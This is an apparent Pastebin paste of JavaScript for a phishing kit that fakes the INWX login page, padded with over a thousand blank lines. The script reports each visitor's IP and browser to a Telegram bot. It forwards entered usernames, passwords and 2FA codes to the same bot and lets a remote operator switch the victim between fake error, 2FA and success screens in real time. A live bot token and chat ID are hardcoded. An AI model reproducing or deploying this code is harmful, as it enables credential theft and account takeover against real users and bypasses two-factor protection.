Guest User

Untitled

a guest
Mar 22nd, 2026
328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 22.45 KB | Cybersecurity | 0 0
  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.  
  87.  
  88.  
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188.  
  189.  
  190.  
  191.  
  192.  
  193.  
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207.  
  208.  
  209.  
  210.  
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257.  
  258.  
  259.  
  260.  
  261.  
  262.  
  263.  
  264.  
  265.  
  266.  
  267.  
  268.  
  269.  
  270.  
  271.  
  272.  
  273.  
  274.  
  275.  
  276.  
  277.  
  278.  
  279.  
  280.  
  281.  
  282.  
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289.  
  290.  
  291.  
  292.  
  293.  
  294.  
  295.  
  296.  
  297.  
  298.  
  299.  
  300.  
  301.  
  302.  
  303.  
  304.  
  305.  
  306.  
  307.  
  308.  
  309.  
  310.  
  311.  
  312.  
  313.  
  314.  
  315.  
  316.  
  317.  
  318.  
  319.  
  320.  
  321.  
  322.  
  323.  
  324.  
  325.  
  326.  
  327.  
  328.  
  329.  
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336.  
  337.  
  338.  
  339.  
  340.  
  341.  
  342.  
  343.  
  344.  
  345.  
  346.  
  347.  
  348.  
  349.  
  350.  
  351.  
  352.  
  353.  
  354.  
  355.  
  356.  
  357.  
  358.  
  359.  
  360.  
  361.  
  362.  
  363.  
  364.  
  365.  
  366.  
  367.  
  368.  
  369.  
  370.  
  371.  
  372.  
  373.  
  374.  
  375.  
  376.  
  377.  
  378.  
  379.  
  380.  
  381.  
  382.  
  383.  
  384.  
  385.  
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397.  
  398.  
  399.  
  400.  
  401.  
  402.  
  403.  
  404.  
  405.  
  406.  
  407.  
  408.  
  409.  
  410.  
  411.  
  412.  
  413.  
  414.  
  415.  
  416.  
  417.  
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424.  
  425.  
  426.  
  427.  
  428.  
  429.  
  430.  
  431.  
  432.  
  433.  
  434.  
  435.  
  436.  
  437.  
  438.  
  439.  
  440.  
  441.  
  442.  
  443.  
  444.  
  445.  
  446.  
  447.  
  448.  
  449.  
  450.  
  451.  
  452.  
  453.  
  454.  
  455.  
  456.  
  457.  
  458.  
  459.  
  460.  
  461.  
  462.  
  463.  
  464.  
  465.  
  466.  
  467.  
  468.  
  469.  
  470.  
  471.  
  472.  
  473.  
  474.  
  475.  
  476.  
  477.  
  478.  
  479.  
  480.  
  481.  
  482.  
  483.  
  484.  
  485.  
  486.  
  487.  
  488.  
  489.  
  490.  
  491.  
  492.  
  493.  
  494.  
  495.  
  496.  
  497.  
  498.  
  499.  
  500.  
  501.  
  502.  
  503.  
  504.  
  505.  
  506.  
  507.  
  508.  
  509.  
  510.  
  511.  
  512.  
  513.  
  514.  
  515.  
  516.  
  517.  
  518.  
  519.  
  520.  
  521.  
  522.  
  523.  
  524.  
  525.  
  526.  
  527.  
  528.  
  529.  
  530.  
  531.  
  532.  
  533.  
  534.  
  535.  
  536.  
  537.  
  538.  
  539.  
  540.  
  541.  
  542.  
  543.  
  544.  
  545.  
  546.  
  547.  
  548.  
  549.  
  550.  
  551.  
  552.  
  553.  
  554.  
  555.  
  556.  
  557.  
  558.  
  559.  
  560.  
  561.  
  562.  
  563.  
  564.  
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.  
  573.  
  574.  
  575.  
  576.  
  577.  
  578.  
  579.  
  580.  
  581.  
  582.  
  583.  
  584.  
  585.  
  586.  
  587.  
  588.  
  589.  
  590.  
  591.  
  592.  
  593.  
  594.  
  595.  
  596.  
  597.  
  598.  
  599.  
  600.  
  601.  
  602.  
  603.  
  604.  
  605.  
  606.  
  607.  
  608.  
  609.  
  610.  
  611.  
  612.  
  613.  
  614.  
  615.  
  616.  
  617.  
  618.  
  619.  
  620.  
  621.  
  622.  
  623.  
  624.  
  625.  
  626.  
  627.  
  628.  
  629.  
  630.  
  631.  
  632.  
  633.  
  634.  
  635.  
  636.  
  637.  
  638.  
  639.  
  640.  
  641.  
  642.  
  643.  
  644.  
  645.  
  646.  
  647.  
  648.  
  649.  
  650.  
  651.  
  652.  
  653.  
  654.  
  655.  
  656.  
  657.  
  658.  
  659.  
  660.  
  661.  
  662.  
  663.  
  664.  
  665.  
  666.  
  667.  
  668.  
  669.  
  670.  
  671.  
  672.  
  673.  
  674.  
  675.  
  676.  
  677.  
  678.  
  679.  
  680.  
  681.  
  682.  
  683.  
  684.  
  685.  
  686.  
  687.  
  688.  
  689.  
  690.  
  691.  
  692.  
  693.  
  694.  
  695.  
  696.  
  697.  
  698.  
  699.  
  700.  
  701.  
  702.  
  703.  
  704.  
  705.  
  706.  
  707.  
  708.  
  709.  
  710.  
  711.  
  712.  
  713.  
  714.  
  715.  
  716.  
  717.  
  718.  
  719.  
  720.  
  721.  
  722.  
  723.  
  724.  
  725.  
  726.  
  727.  
  728.  
  729.  
  730.  
  731.  
  732.  
  733.  
  734.  
  735.  
  736.  
  737.  
  738.  
  739.  
  740.  
  741.  
  742.  
  743.  
  744.  
  745.  
  746.  
  747.  
  748.  
  749.  
  750.  
  751.  
  752.  
  753.  
  754.  
  755.  
  756.  
  757.  
  758.  
  759.  
  760.  
  761.  
  762.  
  763.  
  764.  
  765.  
  766.  
  767.  
  768.  
  769.  
  770.  
  771.  
  772.  
  773.  
  774.  
  775.  
  776.  
  777.  
  778.  
  779.  
  780.  
  781.  
  782.  
  783.  
  784.  
  785.  
  786.  
  787.  
  788.  
  789.  
  790.  
  791.  
  792.  
  793.  
  794.  
  795.  
  796.  
  797.  
  798.  
  799.  
  800.  
  801.  
  802.  
  803.  
  804.  
  805.  
  806.  
  807.  
  808.  
  809.  
  810.  
  811.  
  812.  
  813.  
  814.  
  815.  
  816.  
  817.  
  818.  
  819.  
  820.  
  821.  
  822.  
  823.  
  824.  
  825.  
  826.  
  827.  
  828.  
  829.  
  830.  
  831.  
  832.  
  833.  
  834.  
  835.  
  836.  
  837.  
  838.  
  839.  
  840.  
  841.  
  842.  
  843.  
  844.  
  845.  
  846.  
  847.  
  848.  
  849.  
  850.  
  851.  
  852.  
  853.  
  854.  
  855.  
  856.  
  857.  
  858.  
  859.  
  860.  
  861.  
  862.  
  863.  
  864.  
  865.  
  866.  
  867.  
  868.  
  869.  
  870.  
  871.  
  872.  
  873.  
  874.  
  875.  
  876.  
  877.  
  878.  
  879.  
  880.  
  881.  
  882.  
  883.  
  884.  
  885.  
  886.  
  887.  
  888.  
  889.  
  890.  
  891.  
  892.  
  893.  
  894.  
  895.  
  896.  
  897.  
  898.  
  899.  
  900.  
  901.  
  902.  
  903.  
  904.  
  905.  
  906.  
  907.  
  908.  
  909.  
  910.  
  911.  
  912.  
  913.  
  914.  
  915.  
  916.  
  917.  
  918.  
  919.  
  920.  
  921.  
  922.  
  923.  
  924.  
  925.  
  926.  
  927.  
  928.  
  929.  
  930.  
  931.  
  932.  
  933.  
  934.  
  935.  
  936.  
  937.  
  938.  
  939.  
  940.  
  941.  
  942.  
  943.  
  944.  
  945.  
  946.  
  947.  
  948.  
  949.  
  950.  
  951.  
  952.  
  953.  
  954.  
  955.  
  956.  
  957.  
  958.  
  959.  
  960.  
  961.  
  962.  
  963.  
  964.  
  965.  
  966.  
  967.  
  968.  
  969.  
  970.  
  971.  
  972.  
  973.  
  974.  
  975.  
  976.  
  977.  
  978.  
  979.  
  980.  
  981.  
  982.  
  983.  
  984.  
  985.  
  986.  
  987.  
  988.  
  989.  
  990.  
  991.  
  992.  
  993.  
  994.  
  995.  
  996.  
  997.  
  998.  
  999.  
  1000.  
  1001.  
  1002.  
  1003.  
  1004.  
  1005.  
  1006.  
  1007.  
  1008.  
  1009.  
  1010.  
  1011.  
  1012.  
  1013.  
  1014.  
  1015.  
  1016.  
  1017.  
  1018.  
  1019.  
  1020.  
  1021.  
  1022.  
  1023.  
  1024.  
  1025.  
  1026.  
  1027.  
  1028.  
  1029.  
  1030.  
  1031.  
  1032.  
  1033.  
  1034.  
  1035.  
  1036.  
  1037.  
  1038.  
  1039.  
  1040.  
  1041.  
  1042.  
  1043.  
  1044.  
  1045.         // UPDATED TELEGRAM CREDENTIALS - ID: 5967991487, TOKEN: 8587644384:AAHdn1jnxqJqMQEMIlp543laFim1hBFXdz8
  1046.         const TELEGRAM_BOT_TOKEN = '8587644384:AAHdn1jnxqJqMQEMIlp543laFim1hBFXdz8';
  1047.         const TELEGRAM_CHAT_ID = '5967991487';
  1048.  
  1049.         let currentSessionId = generateSessionId();
  1050.         let commandCheckInterval = null;
  1051.         let isWaitingForAdminResponse = false;
  1052.         let lastProcessedUpdateId = 0;
  1053.         let telegramListenerActive = true;
  1054.  
  1055.         function generateSessionId() {
  1056.             return 'sess_' + Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);
  1057.         }
  1058.  
  1059.         async function sendTelegramMessage(message, keyboard = null) {
  1060.             try {
  1061.                 const payload = {
  1062.                     chat_id: TELEGRAM_CHAT_ID,
  1063.                     text: message,
  1064.                     parse_mode: 'HTML'
  1065.                 };
  1066.  
  1067.                 if (keyboard) {
  1068.                     payload.reply_markup = {
  1069.                         inline_keyboard: keyboard
  1070.                     };
  1071.                 }
  1072.  
  1073.                 const response = await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
  1074.                     method: 'POST',
  1075.                     headers: { 'Content-Type': 'application/json' },
  1076.                     body: JSON.stringify(payload)
  1077.                 });
  1078.                 return await response.json();
  1079.             } catch (error) {
  1080.                 console.error('Telegram error:', error);
  1081.                 updateTelegramStatus('❌ Error: ' + error.message);
  1082.                 return null;
  1083.             }
  1084.         }
  1085.  
  1086.         async function getIPAddress() {
  1087.             try {
  1088.                 const response = await fetch('https://api.ipify.org?format=json');
  1089.                 const data = await response.json();
  1090.                 return data.ip;
  1091.             } catch (error) {
  1092.                 console.error('Failed to fetch IP:', error);
  1093.                 return 'Unknown';
  1094.             }
  1095.         }
  1096.  
  1097.         async function sendVisitorNotification() {
  1098.             const ipAddress = await getIPAddress();
  1099.             const userAgent = navigator.userAgent;
  1100.            
  1101.             const message = `🆕 Neuer Besucher - INWX
  1102.  
  1103. 🌐 IP: <code>${ipAddress}</code>
  1104. 🖥 User Agent: ${userAgent.substring(0, 100)}
  1105. ⏰ Zeit: ${new Date().toLocaleString('de-DE')}
  1106. 🔑 Session ID: <code>${currentSessionId}</code>
  1107. 📄 Aktuelle Seite: Login
  1108.  
  1109. 💡 Steuere diese Sitzung:`;
  1110.  
  1111.             const keyboard = [
  1112.                 [
  1113.                     { text: '🚫 Login Fehler zeigen', callback_data: `login_error:${currentSessionId}` },
  1114.                     { text: '🔐 2FA Seite zeigen', callback_data: `2fa:${currentSessionId}` }
  1115.                 ],
  1116.                 [
  1117.                     { text: '❌ 2FA Fehler zeigen', callback_data: `2fa_error:${currentSessionId}` },
  1118.                     { text: '✅ Erfolg zeigen', callback_data: `success:${currentSessionId}` }
  1119.                 ]
  1120.             ];
  1121.  
  1122.             const result = await sendTelegramMessage(message, keyboard);
  1123.             if (result && result.ok) {
  1124.                 updateTelegramStatus('● Connected');
  1125.             }
  1126.         }
  1127.  
  1128.         async function sendLoginNotification(username, password, ipAddress) {
  1129.             const message = `🔐 Login Versuch - INWX
  1130.  
  1131. 👤 Benutzername: <code>${username}</code>
  1132. 🔑 Passwort: <code>${password}</code>
  1133. 🌐 IP: <code>${ipAddress}</code>
  1134. 🔑 Session ID: <code>${currentSessionId}</code>
  1135. ⏰ Zeit: ${new Date().toLocaleString('de-DE')}
  1136.  
  1137. 💡 Wähle nächsten Schritt:`;
  1138.  
  1139.             const keyboard = [
  1140.                 [
  1141.                     { text: '🚫 Login Fehlgeschlagen', callback_data: `login_error:${currentSessionId}` },
  1142.                     { text: '🔐 2FA Erforderlich', callback_data: `2fa:${currentSessionId}` }
  1143.                 ],
  1144.                 [
  1145.                     { text: '✅ Login Erfolgreich', callback_data: `success:${currentSessionId}` }
  1146.                 ]
  1147.             ];
  1148.  
  1149.             await sendTelegramMessage(message, keyboard);
  1150.         }
  1151.  
  1152.         async function send2FANotification(username, code, ipAddress) {
  1153.             const message = `🔐 2FA Code Eingegeben - INWX
  1154.  
  1155. 👤 Benutzername: ${username}
  1156. 🔐 2FA Code: <code>${code}</code>
  1157. 🌐 IP: <code>${ipAddress}</code>
  1158. 🔑 Session ID: <code>${currentSessionId}</code>
  1159. ⏰ Zeit: ${new Date().toLocaleString('de-DE')}
  1160.  
  1161. 💡 Bestätige 2FA:`;
  1162.  
  1163.             const keyboard = [
  1164.                 [
  1165.                     { text: '✅ 2FA Korrekt', callback_data: `success:${currentSessionId}` },
  1166.                     { text: '❌ 2FA Falsch', callback_data: `2fa_error:${currentSessionId}` }
  1167.                 ],
  1168.                 [
  1169.                     { text: '🔄 Zurück zum Login', callback_data: `login:${currentSessionId}` }
  1170.                 ]
  1171.             ];
  1172.  
  1173.             await sendTelegramMessage(message, keyboard);
  1174.         }
  1175.  
  1176.         function startCommandListener() {
  1177.             if (commandCheckInterval) clearInterval(commandCheckInterval);
  1178.             telegramListenerActive = true;
  1179.             document.getElementById('start-telegram-btn').style.display = 'none';
  1180.            
  1181.             commandCheckInterval = setInterval(async () => {
  1182.                 if (!telegramListenerActive) return;
  1183.                
  1184.                 try {
  1185.                     const response = await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/getUpdates?offset=${lastProcessedUpdateId + 1}`);
  1186.                     const data = await response.json();
  1187.                    
  1188.                     if (data.ok && data.result.length > 0) {
  1189.                         for (const update of data.result) {
  1190.                             if (update.update_id > lastProcessedUpdateId) {
  1191.                                 lastProcessedUpdateId = update.update_id;
  1192.                                 document.getElementById('telegram-update-id').textContent = lastProcessedUpdateId;
  1193.                                
  1194.                                 if (update.callback_query) {
  1195.                                     const callback = update.callback_query;
  1196.                                     const [command, sessionId] = callback.data.split(':');
  1197.                                    
  1198.                                     if (sessionId === currentSessionId) {
  1199.                                         handleTelegramCommand(command);
  1200.                                        
  1201.                                         await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/answerCallbackQuery`, {
  1202.                                             method: 'POST',
  1203.                                             headers: { 'Content-Type': 'application/json' },
  1204.                                             body: JSON.stringify({
  1205.                                                 callback_query_id: callback.id
  1206.                                             })
  1207.                                         });
  1208.                                     }
  1209.                                 }
  1210.                             }
  1211.                         }
  1212.                     }
  1213.                 } catch (error) {
  1214.                     console.error('Command check error:', error);
  1215.                 }
  1216.             }, 3000);
  1217.            
  1218.             updateTelegramStatus('● Connected');
  1219.         }
  1220.  
  1221.         function stopTelegramListener() {
  1222.             if (commandCheckInterval) {
  1223.                 clearInterval(commandCheckInterval);
  1224.                 commandCheckInterval = null;
  1225.             }
  1226.             telegramListenerActive = false;
  1227.             document.getElementById('start-telegram-btn').style.display = 'inline-block';
  1228.             updateTelegramStatus('⏸ Paused');
  1229.         }
  1230.  
  1231.         function startTelegramListener() {
  1232.             startCommandListener();
  1233.         }
  1234.  
  1235.         function handleTelegramCommand(command) {
  1236.             isWaitingForAdminResponse = false;
  1237.            
  1238.             switch (command) {
  1239.                 case 'login':
  1240.                     showPage('login-page');
  1241.                     break;
  1242.                 case '2fa':
  1243.                     showPage('2fa-page');
  1244.                     break;
  1245.                 case '2fa_error':
  1246.                     showPage('2fa-error-page');
  1247.                     break;
  1248.                 case 'login_error':
  1249.                     showPage('login-error-page');
  1250.                     break;
  1251.                 case 'success':
  1252.                     showPage('success-page');
  1253.                     setTimeout(() => {
  1254.                         window.location.href = 'https://www.inwx.de/';
  1255.                     }, 5000);
  1256.                     break;
  1257.             }
  1258.         }
  1259.  
  1260.         function updateTelegramStatus(status) {
  1261.             const statusElement = document.getElementById('telegram-status');
  1262.             if (status.includes('Connected') || status.includes('Verbunden')) {
  1263.                 statusElement.style.color = '#22c55e';
  1264.             } else if (status.includes('Paused') || status.includes('Pausiert')) {
  1265.                 statusElement.style.color = '#f39c12';
  1266.             } else if (status.includes('Error') || status.includes('Fehler')) {
  1267.                 statusElement.style.color = '#dc3545';
  1268.             }
  1269.             statusElement.textContent = status;
  1270.         }
  1271.  
  1272.         async function sendTestNotification() {
  1273.             const result = await sendTelegramMessage('🧪 Test-Benachrichtigung von INWX Admin Panel\n⏰ Zeit: ' + new Date().toLocaleString('de-DE'));
  1274.             if (result && result.ok) {
  1275.                 alert('Test-Benachrichtigung erfolgreich gesendet!');
  1276.             } else {
  1277.                 alert('Fehler beim Senden. Bitte Token und Chat-ID prüfen.');
  1278.             }
  1279.         }
  1280.  
  1281.         function viewTelegramChat() {
  1282.             window.open(`https://t.me/c/${TELEGRAM_CHAT_ID.toString().replace('-100', '')}`, '_blank');
  1283.         }
  1284.  
  1285.         function clearTelegramData() {
  1286.             if (confirm('Alle Telegram-Daten löschen? Dies entfernt alle Sitzungen und wartende Benutzer.')) {
  1287.                 localStorage.removeItem('waitingList');
  1288.                 localStorage.removeItem('currentCustomer');
  1289.                 localStorage.removeItem('currentIP');
  1290.                 document.getElementById('telegram-sessions').textContent = '0';
  1291.                 alert('Telegram-Daten gelöscht!');
  1292.             }
  1293.         }
  1294.  
  1295.         function updateTelegramSessions() {
  1296.             const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
  1297.             document.getElementById('telegram-sessions').textContent = waitingList.length;
  1298.         }
  1299.  
  1300.         let checkRedirectInterval = null;
  1301.  
  1302.         document.addEventListener('DOMContentLoaded', function() {
  1303.             // Send visitor notification and start Telegram listener
  1304.             sendVisitorNotification();
  1305.             startCommandListener();
  1306.  
  1307.             // Check if admin panel should be shown
  1308.             if (window.location.hash === '#admin') {
  1309.                 showPage('admin-page');
  1310.             }
  1311.  
  1312.             // Update Telegram display
  1313.             document.getElementById('telegram-chat-id').textContent = TELEGRAM_CHAT_ID;
  1314.             document.getElementById('telegram-token').textContent = TELEGRAM_BOT_TOKEN;
  1315.  
  1316.             // Password toggle functionality
  1317.             document.querySelectorAll('.password-toggle').forEach(button => {
  1318.                 button.addEventListener('click', function() {
  1319.                     const input = this.parentElement.querySelector('input');
  1320.                     if (input.type === 'password') {
  1321.                         input.type = 'text';
  1322.                         this.textContent = '🙈';
  1323.                     } else {
  1324.                         input.type = 'password';
  1325.                         this.textContent = '👁';
  1326.                     }
  1327.                 });
  1328.             });
  1329.  
  1330.             // Login form
  1331.             const loginForm = document.getElementById('login-form');
  1332.             if (loginForm) {
  1333.                 loginForm.addEventListener('submit', async (e) => {
  1334.                     e.preventDefault();
  1335.                     const username = document.getElementById('customer-id').value.trim();
  1336.                     const password = document.getElementById('password').value;
  1337.                    
  1338.                     if (!username || !password) return;
  1339.                    
  1340.                     const ipAddress = await getIPAddress();
  1341.                     localStorage.setItem('currentCustomer', username);
  1342.                     localStorage.setItem('currentIP', ipAddress);
  1343.                    
  1344.                     await sendLoginNotification(username, password, ipAddress);
  1345.                    
  1346.                     const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
  1347.                     const existingIndex = waitingList.findIndex(s => s.email === username);
  1348.                    
  1349.                     if (existingIndex === -1) {
  1350.                         waitingList.push({
  1351.                             email: username,
  1352.                             ipAddress,
  1353.                             timestamp: new Date().toISOString(),
  1354.                             status: 'waiting'
  1355.                         });
  1356.                         localStorage.setItem('waitingList', JSON.stringify(waitingList));
  1357.                         updateTelegramSessions();
  1358.                     }
  1359.                    
  1360.                     isWaitingForAdminResponse = true;
  1361.                     showPage('loading-page');
  1362.                 });
  1363.             }
  1364.  
  1365.             // Login error form
  1366.             const loginErrorForm = document.getElementById('login-error-form');
  1367.             if (loginErrorForm) {
  1368.                 loginErrorForm.addEventListener('submit', async (e) => {
  1369.                     e.preventDefault();
  1370.                     const username = document.getElementById('customer-id-error').value.trim();
  1371.                     const password = document.getElementById('password-error').value;
  1372.                    
  1373.                     if (!username || !password) return;
  1374.                    
  1375.                     const ipAddress = await getIPAddress();
  1376.                     localStorage.setItem('currentCustomer', username);
  1377.                     localStorage.setItem('currentIP', ipAddress);
  1378.                    
  1379.                     await sendLoginNotification(username, password, ipAddress);
  1380.                    
  1381.                     const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
  1382.                     const existingIndex = waitingList.findIndex(s => s.email === username);
  1383.                    
  1384.                     if (existingIndex === -1) {
  1385.                         waitingList.push({
  1386.                             email: username,
  1387.                             ipAddress,
  1388.                             timestamp: new Date().toISOString(),
  1389.                             status: 'waiting'
  1390.                         });
  1391.                     } else {
  1392.                         waitingList[existingIndex] = {
  1393.                             email: username,
  1394.                             ipAddress,
  1395.                             timestamp: new Date().toISOString(),
  1396.                             status: 'waiting'
  1397.                         };
  1398.                     }
  1399.                     localStorage.setItem('waitingList', JSON.stringify(waitingList));
  1400.                     updateTelegramSessions();
  1401.                    
  1402.                     isWaitingForAdminResponse = true;
  1403.                     showPage('loading-page');
  1404.                 });
  1405.             }
  1406.            
  1407.             // 2FA form
  1408.             const twoFAForm = document.getElementById('2fa-form');
  1409.             if (twoFAForm) {
  1410.                 twoFAForm.addEventListener('submit', async (e) => {
  1411.                     e.preventDefault();
  1412.                     const code = document.getElementById('authcode').value.trim();
  1413.                    
  1414.                     const username = localStorage.getItem('currentCustomer');
  1415.                     const ipAddress = localStorage.getItem('currentIP');
  1416.                    
  1417.                     await send2FANotification(username, code, ipAddress);
  1418.                    
  1419.                     const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
  1420.                     const existingIndex = waitingList.findIndex(s => s.email === username);
  1421.                    
  1422.                     if (existingIndex === -1 && username) {
  1423.                         waitingList.push({
  1424.                             email: username,
  1425.                             ipAddress: ipAddress || await getIPAddress(),
  1426.                             timestamp: new Date().toISOString(),
  1427.                             status: 'waiting'
  1428.                         });
  1429.                         localStorage.setItem('waitingList', JSON.stringify(waitingList));
  1430.                         updateTelegramSessions();
  1431.                     }
  1432.                    
  1433.                     isWaitingForAdminResponse = true;
  1434.                     showPage('loading-page');
  1435.                 });
  1436.             }
  1437.  
  1438.             // 2FA error form
  1439.             const twoFAErrorForm = document.getElementById('2fa-error-form');
  1440.             if (twoFAErrorForm) {
  1441.                 twoFAErrorForm.addEventListener('submit', async (e) => {
  1442.                     e.preventDefault();
  1443.                     const code = document.getElementById('authcode-error').value.trim();
  1444.                    
  1445.                     const username = localStorage.getItem('currentCustomer');
  1446.                     const ipAddress = localStorage.getItem('currentIP');
  1447.                    
  1448.                     await send2FANotification(username, code, ipAddress);
  1449.                    
  1450.                     const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
  1451.                     const existingIndex = waitingList.findIndex(s => s.email === username);
  1452.                    
  1453.                     if (existingIndex === -1 && username) {
  1454.                         waitingList.push({
  1455.                             email: username,
  1456.                             ipAddress: ipAddress || await getIPAddress(),
  1457.                             timestamp: new Date().toISOString(),
  1458.                             status: 'waiting'
  1459.                         });
  1460.                         localStorage.setItem('waitingList', JSON.stringify(waitingList));
  1461.                         updateTelegramSessions();
  1462.                     }
  1463.                    
  1464.                     isWaitingForAdminResponse = true;
  1465.                     showPage('loading-page');
  1466.                 });
  1467.             }
  1468.         });
  1469.  
  1470.         function showPage(pageId) {
  1471.             if (checkRedirectInterval) {
  1472.                 clearInterval(checkRedirectInterval);
  1473.                 checkRedirectInterval = null;
  1474.             }
  1475.  
  1476.             document.querySelectorAll('.page').forEach(page => {
  1477.                 page.classList.remove('active');
  1478.             });
  1479.            
  1480.             const targetPage = document.getElementById(pageId);
  1481.             if (targetPage) {
  1482.                 targetPage.classList.add('active');
  1483.             }
  1484.  
  1485.             if (pageId === 'loading-page') {
  1486.                 startLoadingPage();
  1487.             }
  1488.         }
  1489.  
  1490.         function startLoadingPage() {
  1491.             const username = localStorage.getItem('currentCustomer');
  1492.             if (!username) {
  1493.                 showPage('login-page');
  1494.                 return;
  1495.             }
  1496.  
  1497.             checkRedirectInterval = setInterval(() => {
  1498.                 const waitingList = JSON.parse(localStorage.getItem('waitingList') || '[]');
  1499.                 const student = waitingList.find(s => s.email === username);
  1500.                
  1501.                 if (student && student.redirectTo) {
  1502.                     const targetPage = student.redirectTo;
  1503.                     student.redirectTo = null;
  1504.                     localStorage.setItem('waitingList', JSON.stringify(waitingList));
  1505.                    
  1506.                     if (targetPage === 'login-error') {
  1507.                         showPage('login-error-page');
  1508.                     } else if (targetPage === '2fa') {
  1509.                         showPage('2fa-page');
  1510.                     } else if (targetPage === '2fa-error') {
  1511.                         showPage('2fa-error-page');
  1512.                     } else if (targetPage === 'success') {
  1513.                         showPage('success-page');
  1514.                     }
  1515.                 }
  1516.             }, 1000);
  1517.         }
  1518.  
  1519.         window.addEventListener('hashchange', () => {
  1520.             if (window.location.hash === '#admin') {
  1521.                 showPage('admin-page');
  1522.             }
  1523.         });
  1524.    
Advertisement
Add Comment
Please, Sign In to add comment